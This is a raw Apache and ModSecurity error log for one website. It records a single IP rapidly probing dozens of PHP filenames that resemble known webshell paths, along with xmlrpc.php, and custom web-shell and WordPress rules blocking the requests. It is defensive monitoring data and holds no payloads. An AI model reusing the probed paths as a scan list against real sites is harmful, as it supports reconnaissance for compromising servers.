[Fri Feb 13 00:14:22.375805 2026] [:error] [pid 46603:tid 46607] [client 20.215.189.110:44385] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admiin.php"] [unique_id "aY38XvEi6O39v05JNJexcQAAAQI"]
[Fri Feb 13 00:14:23.203932 2026] [:error] [pid 63418:tid 63479] [client 20.215.189.110:8775] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aY38X9zjh-bbJnStPZIZmgAAAIM"]
[Fri Feb 13 00:14:24.137924 2026] [:error] [pid 46603:tid 46619] [client 20.215.189.110:44385] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aY38YPEi6O39v05JNJexdgAAAQ4"]
[Fri Feb 13 00:14:25.347419 2026] [:error] [pid 63418:tid 63483] [client 20.215.189.110:8830] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aY38Ydzjh-bbJnStPZIZnQAAAIc"]
[Fri Feb 13 00:14:26.196346 2026] [:error] [pid 46675:tid 46695] [client 20.215.189.110:45094] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aY38YjuaQILPonWFiQmlZAAAAVE"]
[Fri Feb 13 00:14:26.878179 2026] [:error] [pid 46603:tid 46627] [client 20.215.189.110:12514] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aY38YvEi6O39v05JNJexeQAAARY"]
[Fri Feb 13 00:14:27.545638 2026] [:error] [pid 63418:tid 63476] [client 20.215.189.110:28932] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aY38Y9zjh-bbJnStPZIZogAAAIA"]
[Fri Feb 13 00:14:28.238728 2026] [:error] [pid 46718:tid 46734] [client 20.215.189.110:20475] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aY38ZEdfX45LelQwruRmTwAAAc0"]
[Fri Feb 13 00:14:28.919201 2026] [:error] [pid 63416:tid 63428] [client 20.215.189.110:40238] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aY38ZL2wmecPaCHcM2_3XQAAAYc"]
[Fri Feb 13 00:14:29.912436 2026] [:error] [pid 46718:tid 46724] [client 20.215.189.110:5741] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aY38ZUdfX45LelQwruRmVAAAAcM"]
[Fri Feb 13 00:14:31.821171 2026] [:error] [pid 63418:tid 63477] [client 20.215.189.110:44632] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aY38Z9zjh-bbJnStPZIZpwAAAIE"]
[Fri Feb 13 00:14:33.006273 2026] [:error] [pid 63511:tid 63528] [client 20.215.189.110:5542] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aY38aaQCQbD5BgeyIk1SHgAAAA8"]
[Fri Feb 13 00:14:34.164334 2026] [:error] [pid 46718:tid 46731] [client 20.215.189.110:12481] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aY38akdfX45LelQwruRmWQAAAco"]
[Fri Feb 13 00:14:35.094606 2026] [:error] [pid 63511:tid 63515] [client 20.215.189.110:8800] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aY38a6QCQbD5BgeyIk1SJQAAAAI"]
[Fri Feb 13 00:14:35.872839 2026] [:error] [pid 63511:tid 63533] [client 20.215.189.110:20456] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aY38a6QCQbD5BgeyIk1SKAAAABQ"]
[Fri Feb 13 00:14:36.664478 2026] [:error] [pid 46718:tid 46733] [client 20.215.189.110:39349] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aY38bEdfX45LelQwruRmXQAAAcw"]
[Fri Feb 13 00:14:37.812590 2026] [:error] [pid 46603:tid 46605] [client 20.215.189.110:19231] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aY38bfEi6O39v05JNJexiwAAAQA"]
[Fri Feb 13 00:14:38.528031 2026] [:error] [pid 46718:tid 46728] [client 20.215.189.110:11299] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aY38bkdfX45LelQwruRmZAAAAcc"]
[Fri Feb 13 00:14:39.526195 2026] [:error] [pid 65064:tid 65087] [client 20.215.189.110:28941] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aY38bxOvRgscTcqsMBkyngAAANQ"]
[Fri Feb 13 00:14:40.338896 2026] [:error] [pid 46675:tid 46696] [client 20.215.189.110:8769] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aY38cDuaQILPonWFiQmldQAAAVI"]
[Fri Feb 13 00:14:41.231008 2026] [:error] [pid 65064:tid 65084] [client 20.215.189.110:31101] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aY38cROvRgscTcqsMBkyowAAANE"]
[Fri Feb 13 00:14:42.152213 2026] [:error] [pid 63417:tid 63462] [client 20.215.189.110:23551] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aY38cv8gSb97qRMtXCIfNQAAAE0"]
[Fri Feb 13 00:14:42.882621 2026] [:error] [pid 65064:tid 65071] [client 20.215.189.110:28951] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aY38chOvRgscTcqsMBkypwAAAMQ"]
[Fri Feb 13 00:14:43.618643 2026] [:error] [pid 63418:tid 63491] [client 20.215.189.110:42665] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aY38c9zjh-bbJnStPZIZrQAAAI8"]
[Fri Feb 13 00:14:44.310678 2026] [:error] [pid 46718:tid 46735] [client 20.215.189.110:15492] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aY38dEdfX45LelQwruRmcAAAAc4"]
[Fri Feb 13 00:14:45.234659 2026] [:error] [pid 46675:tid 46685] [client 20.215.189.110:28510] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aY38dTuaQILPonWFiQmlfQAAAUc"]
[Fri Feb 13 00:14:46.099253 2026] [:error] [pid 46675:tid 46688] [client 20.215.189.110:32586] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aY38djuaQILPonWFiQmlfwAAAUo"]
[Fri Feb 13 00:14:47.229598 2026] [:error] [pid 63417:tid 63452] [client 20.215.189.110:31614] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aY38d_8gSb97qRMtXCIfOQAAAEM"]
[Fri Feb 13 00:14:48.213758 2026] [:error] [pid 63418:tid 63499] [client 20.215.189.110:44902] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aY38eNzjh-bbJnStPZIZrgAAAJc"]
[Fri Feb 13 00:14:49.041021 2026] [:error] [pid 65064:tid 65079] [client 20.215.189.110:15499] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aY38eROvRgscTcqsMBkyrwAAAMw"]
[Fri Feb 13 00:14:50.465632 2026] [proxy_fcgi:error] [pid 46675:tid 46680] [client 20.215.189.110:31578] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:14:50.777717 2026] [proxy_fcgi:error] [pid 46675:tid 46679] [client 20.215.189.110:31578] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:14:51.060849 2026] [proxy_fcgi:error] [pid 46675:tid 46689] [client 20.215.189.110:31578] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:14:51.329912 2026] [proxy_fcgi:error] [pid 46675:tid 46690] [client 20.215.189.110:31578] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:14:51.589602 2026] [proxy_fcgi:error] [pid 46675:tid 46701] [client 20.215.189.110:31578] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:14:51.848807 2026] [proxy_fcgi:error] [pid 46675:tid 46678] [client 20.215.189.110:31578] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:14:52.167002 2026] [proxy_fcgi:error] [pid 46675:tid 46685] [client 20.215.189.110:31578] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:14:52.449156 2026] [proxy_fcgi:error] [pid 46675:tid 46694] [client 20.215.189.110:31578] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:14:52.718244 2026] [proxy_fcgi:error] [pid 46675:tid 46684] [client 20.215.189.110:31578] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:14:53.672150 2026] [:error] [pid 46675:tid 46688] [client 20.215.189.110:31578] [client 20.215.189.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.215.189.110, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aY38fTuaQILPonWFiQmljgAAAUo"]
[Fri Feb 13 00:14:53.675938 2026] [proxy_fcgi:error] [pid 46675:tid 46688] [client 20.215.189.110:31578] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:14:53.938334 2026] [:error] [pid 46675:tid 46702] [client 20.215.189.110:31578] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aw.php"] [unique_id "aY38fTuaQILPonWFiQmljwAAAVg"]
[Fri Feb 13 00:14:55.075498 2026] [:error] [pid 63511:tid 63533] [client 20.215.189.110:45418] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aw.php"] [unique_id "aY38f6QCQbD5BgeyIk1SQAAAABQ"]
[Fri Feb 13 00:14:56.436139 2026] [:error] [pid 46718:tid 46734] [client 20.215.189.110:44925] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aw.php"] [unique_id "aY38gEdfX45LelQwruRmhAAAAc0"]
[Fri Feb 13 00:14:57.281411 2026] [:error] [pid 63511:tid 63528] [client 20.215.189.110:32585] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aw.php"] [unique_id "aY38gaQCQbD5BgeyIk1SRAAAAA8"]
[Fri Feb 13 00:14:58.514121 2026] [:error] [pid 63416:tid 63431] [client 20.215.189.110:39743] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aY38gr2wmecPaCHcM2_3gwAAAYo"]
[Fri Feb 13 00:14:59.837834 2026] [:error] [pid 46675:tid 46697] [client 20.215.189.110:45396] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aY38gzuaQILPonWFiQmllQAAAVM"]
[Fri Feb 13 00:15:00.909644 2026] [:error] [pid 46603:tid 46606] [client 20.215.189.110:43578] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aY38hPEi6O39v05JNJexpwAAAQE"]
[Fri Feb 13 00:15:02.097746 2026] [:error] [pid 63416:tid 63438] [client 20.215.189.110:45435] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "aY38hr2wmecPaCHcM2_3iwAAAZE"]
[Fri Feb 13 00:15:03.118332 2026] [:error] [pid 63416:tid 63437] [client 20.215.189.110:23509] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aY38h72wmecPaCHcM2_3jQAAAZA"]
[Fri Feb 13 00:15:03.870366 2026] [:error] [pid 46718:tid 46733] [client 20.215.189.110:13009] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aY38h0dfX45LelQwruRmkAAAAcw"]
[Fri Feb 13 00:15:04.592159 2026] [:error] [pid 46718:tid 46727] [client 20.215.189.110:42685] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aY38iEdfX45LelQwruRmlwAAAcY"]
[Fri Feb 13 00:15:05.462496 2026] [:error] [pid 65064:tid 65077] [client 20.215.189.110:8288] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aY38iROvRgscTcqsMBkywgAAAMo"]
[Fri Feb 13 00:15:07.220594 2026] [:error] [pid 63418:tid 63490] [client 20.215.189.110:13982] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aY38i9zjh-bbJnStPZIZvgAAAI4"]
[Fri Feb 13 00:15:08.203662 2026] [:error] [pid 46675:tid 46686] [client 20.215.189.110:10029] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aY38jDuaQILPonWFiQmloAAAAUg"]
[Fri Feb 13 00:15:09.209408 2026] [:error] [pid 63417:tid 63455] [client 20.215.189.110:14004] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aY38jf8gSb97qRMtXCIfVwAAAEY"]
[Fri Feb 13 00:15:09.948809 2026] [:error] [pid 63418:tid 63493] [client 20.215.189.110:25858] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aY38jdzjh-bbJnStPZIZwAAAAJE"]
[Fri Feb 13 00:15:10.734560 2026] [:error] [pid 65064:tid 65083] [client 20.215.189.110:13252] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aY38jhOvRgscTcqsMBkyxwAAANA"]
[Fri Feb 13 00:15:11.936513 2026] [:error] [pid 46603:tid 46614] [client 20.215.189.110:13050] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aY38j_Ei6O39v05JNJexuAAAAQk"]
[Fri Feb 13 00:15:13.397908 2026] [:error] [pid 46675:tid 46688] [client 20.215.189.110:14412] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aY38kTuaQILPonWFiQmlowAAAUo"]
[Fri Feb 13 00:15:14.112320 2026] [:error] [pid 65064:tid 65073] [client 20.215.189.110:24053] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat.php"] [unique_id "aY38khOvRgscTcqsMBkyzQAAAMY"]
[Fri Feb 13 00:15:17.695460 2026] [:error] [pid 46603:tid 46612] [client 20.215.189.110:42663] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tcp.php"] [unique_id "aY38lfEi6O39v05JNJexwwAAAQc"]
[Fri Feb 13 00:15:19.461606 2026] [:error] [pid 63416:tid 63445] [client 20.215.189.110:5772] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tcp.php"] [unique_id "aY38l72wmecPaCHcM2_3mgAAAZg"]
[Fri Feb 13 00:15:27.879505 2026] [:error] [pid 63418:tid 63484] [client 20.215.189.110:15590] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tcp.php"] [unique_id "aY38n9zjh-bbJnStPZIZ0QAAAIg"]
